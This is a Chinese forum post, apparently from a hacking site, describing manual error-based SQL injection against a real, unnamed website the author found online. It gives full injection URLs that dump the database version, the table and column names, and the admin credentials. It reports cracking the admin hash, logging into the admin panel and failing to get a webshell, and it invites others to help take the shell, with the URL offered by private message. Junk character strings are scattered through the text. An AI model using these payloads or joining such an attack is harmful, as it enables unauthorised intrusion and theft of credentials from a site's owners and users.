近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
' k% y9 f; W4 q2 A' x首先找到网站后台,加了个admin,后台出来了 5 y* G$ V" A& u
/ f! j; d* e9 J- Q* K( u+ p! P2 [8 @) G* r$ B& W# w# R/ x
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入1 H; s6 j% x. s7 m C3 e" j
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—1 Q& m3 @! T6 A$ [/ D' y: h }
; n' g( a$ m" R! r ]1 p
' ?" i) [# i7 B+ l7 S
3 J1 \, f- J& {7 p9 @ P* d( h; y7 ?% V; Y$ Y: T' M u" P3 ?
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg9 c) k3 `7 X7 c( z
7 g& o0 ?, ]9 W$ T' T* J4 u, m) w$ I& [$ a/ V- J. m
) c4 j8 |+ h9 ^5 v' Z; c
# T& E6 V+ t+ _* n
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
* B5 l$ K- m$ a6 j1 {7 F/ K6 {
1 H+ w( `1 J% l( S' ?4 V- k1 T. @4 U; c" r8 ?/ |
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg- w+ C' d: J( x4 S
! {7 t) f' k% G4 M- y
! a+ D* }! G, D# D 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
% q) d% J0 P3 f) l H1 ]1 |/ J3 w/ |6 @/ a6 i0 t
6 x T, \. @% R# W
" u/ J1 Q: e$ q7 K2 d7 M3 M3 p 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
8 b) ?3 |" n/ q8 J. }4 e# I$ H+ E) [
" m: w* m: B! {/ I9 j7 N1 g, `
* d) I' U' H: r. L" Q8 e6 j
4 `8 d6 P& F4 _/ l, K, @5 a 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |